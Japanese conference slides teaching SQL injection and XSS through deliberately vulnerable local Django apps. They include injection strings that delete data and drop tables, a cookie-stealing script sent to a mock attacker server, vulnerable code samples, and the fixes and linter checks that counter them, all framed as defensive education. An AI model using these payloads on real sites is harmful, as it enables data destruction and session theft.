SQLインジェクションとXSS篇
DjangoCongress JP 2023
2023/10/07 nikkie
脆弱性を学ぶために、Djangoでやられサイトを実装してきました
脆弱性とはバグ🐛で、 突いて攻撃できてしまうバグ です
やられサイトへの攻撃を通して、脆弱性の 原因 は何で、どう 対策 するかを学びましょう
https://github.com/ftnext/django-bad-apps
よければ手元で動かしてみてください
GitとDocker(とネットワーク)を前提にしています
Djangoのチュートリアルを終えた(+小さいアプリ作ってみた)
脆弱性の対策は重要らしいけど、しっかり理解できてないな...(難しそう...)
👉やられサイトを攻撃してみたら、脆弱性学ぶの面白い!!
攻撃は 手元で動かす やられサイトだけ でお願いします
世のWebアプリに対して試してはいけません🙅♂️(攻撃になっちゃうぞ❤️)
本トークの目的は 脆弱性を学ぶ ことであり、攻撃を勧める内容では決してありません
nikkie(にっきー) / @ftnext
株式会社ユーザベースのデータサイエンティスト(We're hiring!)
Djangoの実務経験はなし
Django Girls Tutorial の翻訳(2018-2019)
PyCon JP スタッフ向けにDjangoでアプリ自作 https://github.com/pyconjp/pycon.jp.2021.review
SQLインジェクション💉
XSS篇🙅
Webアプリに文字列を入力できる箇所
SQL を入力したときに、それが 実行 できてしまうバグ(脆弱性)
悪意を持ったSQLを実行して攻撃できてしまう☠️
湯婆婆「フン『千尋' AND Password = '1'; DROP TABLE employee"』というのかい。 」
— ロボ太 (@kaityo256) October 23, 2021
千尋「はい」
湯婆婆「贅沢な名だね。今からおまえの名前は、名前は………?」
(🏃♂️のスライドは参考情報で、本編では飛ばして進めます)
DjangoCongress JP 2019 「現場で使える Django のセキュリティ対策」
『実践Django』2.6
https://github.com/ftnext/django-bad-apps/tree/main/sql-injection
SQLインジェクション脆弱性のあるDjangoアプリ web
DB(PostgreSQL) db
docker compose run web python manage.py loaddata dump_todos.json
http://127.0.0.1:8000/todolist/
「パソコンを買う」で1件に絞れる
クエリパラメタ todo=...
攻撃「パソコンを買う'; SELECT id FROM todos WHERE '1' = '1」
全件表示されます ※ できちゃダメ なやつ
パソコンを買う';
SELECT id FROM todos WHERE '1' = '1
「パソコンを買う'; DELETE FROM todos WHERE '1' = '1'; SELECT id FROM todos WHERE '1' = '1」
パソコンを買う';
DELETE FROM todos WHERE '1' = '1';
SELECT id FROM todos WHERE '1' = '1
「パソコンを買う'; DROP TABLE todos; SELECT id FROM django_migrations WHERE '1' = '1」
パソコンを買う';
DROP TABLE todos;
SELECT id FROM django_migrations WHERE '1' = '1
DELETE文を実行してデータ削除
DROP TABLE文を実行してテーブル削除
def todo_list(request):
todo_str = request.GET["todo"]
sql = (
"SELECT id, id_str, todo, created_date, due_date FROM todos "
"WHERE todo = '{}';".format(todo_str)
)
todos = Todo.objects.raw(sql)
str.format
で外から渡される文字列をフォーマットしてSQLを組み立てる
SQLはORMの raw
で実行
https://docs.djangoproject.com/ja/4.2/ref/models/querysets/#raw
「パソコンを買う」が渡されたときはうまくいく
SELECT id, id_str, todo, created_date, due_date FROM todos
WHERE todo = 'パソコンを買う';
「パソコンを買う'; SELECT id FROM todos WHERE '1' = '1」
SELECT id, id_str, todo, created_date, due_date FROM todos
WHERE todo = 'パソコンを買う'; SELECT id FROM todos WHERE '1' = '1';
外から渡したシングルクォートで '{}'
の先頭のシングルクォートが閉じてしまい、 任意のSQLが続けられる
def todo_list(request):
todo_str = request.GET["todo"]
todos = Todo.objects.filter(todo=todo_str)
SQLを原則書かない。 ORMの書き方を覚えて使う
https://docs.djangoproject.com/ja/4.2/ref/models/querysets/#filter
DjangoCongress JP 2019より
https://pypi.org/project/bandit/
A security linter from PyCQA
$ bandit bad_sql_injection/todo/views.py # bandit -r bad_sql_injection
Test results:
>> Issue: [B608:hardcoded_sql_expressions] Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Low
CWE: CWE-89 (https://cwe.mitre.org/data/definitions/89.html)
More Info: https://bandit.readthedocs.io/en/1.7.5/plugins/b608_hardcoded_sql_expressions.html
Location: bad_sql_injection/todo/views.py:12:12
11 sql = (
12 "SELECT id, id_str, todo, created_date, due_date FROM todos "
13 "WHERE todo = '{}';".format(todo_str)
14 )
Banditを知ったきっかけ(紹介された静的解析ツールの1つ)
PyCon Kyushu 2022
悪意を持ったSQLを注入 できてしまう脆弱性
任意のSQLを実行して、やりたい放題攻撃した
外から渡される文字列を str.formatしてSQLを組み立て、ORMの raw
で実行
sql = (
"SELECT id, id_str, todo, created_date, due_date FROM todos "
"WHERE todo = '{}';".format(todo_str)
)
シングルクォートのあとに任意のSQL を入力して、実行してしまえる
Djangoの ORM を使う(今回であれば filter
)
Banditで気付ける
あなたが利用しているWebアプリのフォームに、ここで紹介した入力はしないでください
それは 攻撃 です(学習用のこのアプリだけにしてください)
SQLインジェクションがどういうものか分かっていなかった あの日の私、チュートリアルに沿うことで回避していた
時間調整パート。SQLインジェクションの開発中に学んだtipsご紹介
JSONファイルを指定して、テーブルにデータを入れられる
https://docs.djangoproject.com/ja/4.2/ref/django-admin/#loaddata
JSONファイルは dumpdata で作っておく
$ python manage.py sqlmigrate todo 0001 # SQLを出力
$ psql -h 127.0.0.1 -p 5432 -U developer badapp
# SQLを実行していく
アプリとマイグレーション番号を指定して、 SQLを確認できる
https://docs.djangoproject.com/ja/4.2/ref/django-admin/#sqlmigrate
python manage.py sqlmigrate todo 0001
(仮想環境で開発する中で)DROPしたテーブルを復旧するのに使用
sqlmigrate で確認したSQLを流す
https://docs.djangoproject.com/ja/4.2/ref/django-admin/#dbshell
DjangoCongress JP 2022より
Cross-Site Scripting
Webアプリに文字列を入力できる箇所
HTMLやJavaScriptコード を入力したときに、それが 実行 できてしまうバグ(脆弱性)
悪意を持ったJavaScriptを実行して攻撃できてしまう☠️
DjangoCongress JP 2019 「現場で使える Django のセキュリティ対策」
『実践Django』4.4
https://github.com/ftnext/django-bad-apps/tree/main/cross-site-scripting
XSS脆弱性のあるDjangoアプリ web
db
(PostgreSQL)
攻撃者が用意したサーバ(WireMock) evil-server
http://127.0.0.1:8000/example/
JavaScriptコードが実行されるページ
悪意を持ったJavaScriptコードが実行されるページ
http://127.0.0.1:8000/example/alert/
「XSSです」がポップアップしました
def alert(request):
return HttpResponse('<script>alert("XSSです")</script>')
HttpResponse
でscriptタグを返しているレスポンス(HTML)中にscriptタグ!
<script>alert("XSSです")</script>
ブラウザはこれを実行 (scriptタグなので)
cookieを他サイトに送信 するJavaScriptコード
Webアプリにログインしているとき、cookieを使ってセッション管理をしている
https://developer.mozilla.org/ja/docs/Web/HTTP/Cookies
「サーバーがユーザーのウェブブラウザーに送信する小さなデータ」
「ブラウザーに保存され、その後のリクエストと共に同じサーバーへ返送」
window.location = "http://0.0.0.0:8080/evil?cookie="+escape(document.cookie)
このスクリプトを実行したブラウザのcookieを、クエリパラメタに加える
window.location
への代入でブラウザを遷移させて、攻撃者が用意したサーバに送信
http://127.0.0.1:8000/example/send/
Your cookie is ... と表示される
これは攻撃者が用意したサーバ(モックサーバ)のレスポンス
ブラウザは http://127.0.0.1:8000/example/send/ を開いた(Djangoアプリにリクエスト)
Djangoアプリは、 cookieを送信するscriptタグを含むレスポンス を返した
<script>window.location = "http://0.0.0.0:8080/evil?cookie="+escape(document.cookie)</script>
ブラウザはレスポンスをレンダリングする中で scriptタグを実行 (してしまう)
scriptタグは モックサーバにcookieを含めたリクエストを送信 した(=攻撃者がcookieを知った)
ブラウザに表示されたのは、モックサーバのレスポンス
すべてのネットワークインターフェース
ref: 105:127.0.0.1と0.0.0.0の違い 『自走プログラマー』
HttpResponse
にHTMLやJavaScriptコードが渡る可能性がある場合、 エスケープ して渡しましょう!
from django.utils.html import escape
django.utils.html.escape
https://github.com/django/django/blob/4.2.6/django/utils/html.py#L17-L27
Return the given text with ampersands, quotes and angle brackets encoded for use in HTML.
&
'
"
<
>
django.utils.html.escape
の実装@keep_lazy(SafeString)
def escape(text):
return SafeString(html.escape(str(text)))
def alert(request):
return HttpResponse(escape('<script>alert("XSSです")</script>'))
<script>alert("XSSです")</script>
ブラウザにとってはscriptタグでない ので、JavaScriptの実行はされません!
{{ variable }}
による 変数展開でエスケープ される
Djangoドキュメント中の クロス・サイト・スクリプティング (XSS) の防御 より
Django のテンプレートを用いる事で多数の XSS 攻撃に対抗することができます。
ここまで HttpResponse
で エスケープ しないと、JavaScriptが実行されることを示しました
XSS脆弱性を作り込んでしまう例へ進みます
攻撃用のJavaScriptが、攻撃対象のデータベースなどに保存される場合 (徳丸本 p.231)
持続型とは別に、 反射型 もあります
http://127.0.0.1:8000/todolist/
TODOの一覧ページ
TODOの作成ページ(要ログイン)
python manage.py createsuperuser (docker compose run
で流しやすいため)
eviluser(攻撃者)
wasbook(被害者)
一覧はDBに保存されたTODOを エスケープせずに HttpResponse
で返す実装🙅♂️
作成するときにユーザはscriptタグを入力できる
http://127.0.0.1:8000/todolist/
空のページで始まる
「パソコンを買う」を1つ保存(一覧に加わる)
http://127.0.0.1:8000/todolist/new/
Todoの内容に攻撃用 JavaScriptコードを記入
Djangoフォームはこれを保存する
別のブラウザ(シークレットウィンドウ)でログイン
ログイン一覧ページに遷移すると、保存されたTODOが表示され、scriptタグが実行され、cookieが送信される☠️
多数は対処できるのですが、 注意が必要
クロス・サイト・スクリプティング (XSS) の防御 にはテンプレートの落とし穴も
<style class={{ var }}>...</style>
1つ前のスライドのテンプレートの書き方には、脆弱性がある
var の値が 'class1 onmouseover=javascript:func()' にセットされた場合
-<style class={{ var }}>...</style>
+<style class="{{ var }}">...</style>
悪意を持ったHTMLやJavaScriptコードを注入 できてしまう脆弱性
悪意を持ったコードがデータベースに保存される、 持続型 で攻撃した
HttpResponse
に エスケープせず にHTMLやJavaScriptコードを渡してしまう
def alert(request):
return HttpResponse('<script>alert("XSSです")</script>')
django.utils.html.escape
でエスケープ
Djangoテンプレート を使う
さらに、HTMLの 属性値はクォートで囲む
あなたが利用しているWebアプリに、ここで紹介したJavaScriptを保存しないでください
それは 攻撃 です(学習用のこのアプリだけにしてください)
XSSがどういうものか分かっていなかった あの日の私、チュートリアルに沿うことで回避していた
SQLインジェクションとXSS篇
文字列をフォーマットしてSQL文を組み立てる実装は、脆弱性
任意のSQLを実行できてしまう
対策: ORM を使いましょう
HTMLやJavaScriptをエスケープしない実装は、脆弱性
任意のJavaScriptを実装できてしまう
対策: テンプレート を使いましょう(+属性値はクォートで囲む)
SQLインジェクションの例では、ユーザが任意のSQLを実行しようとした
ユーザ入力からSQLを作るのではなく、 ORM に渡す(プレースホルダ)
XSSの例では、ユーザが任意のJavaScriptを保存して、表示時に実行しようとした
ユーザ入力は(テンプレートを通して) エスケープ して画面に表示
ORMやテンプレートなど、Djangoが提供する方法では脆弱性が対策されている
過去の私はSQLインジェクションやXSSの 知識が全然なかった が、Djangoのおかげで セキュリティ対策 したアプリが作れていた(フールプルーフ)
Enjoy coding with Django!
徳丸さん作のやられサイト badtodo https://github.com/ockeghem/badtodo
解説動画シリーズ Bad Todoで脆弱性診断実習
徳丸さんのbadtodoにSQLインジェクションを試す機会がなかったら、この発表はきっとなかったでしょう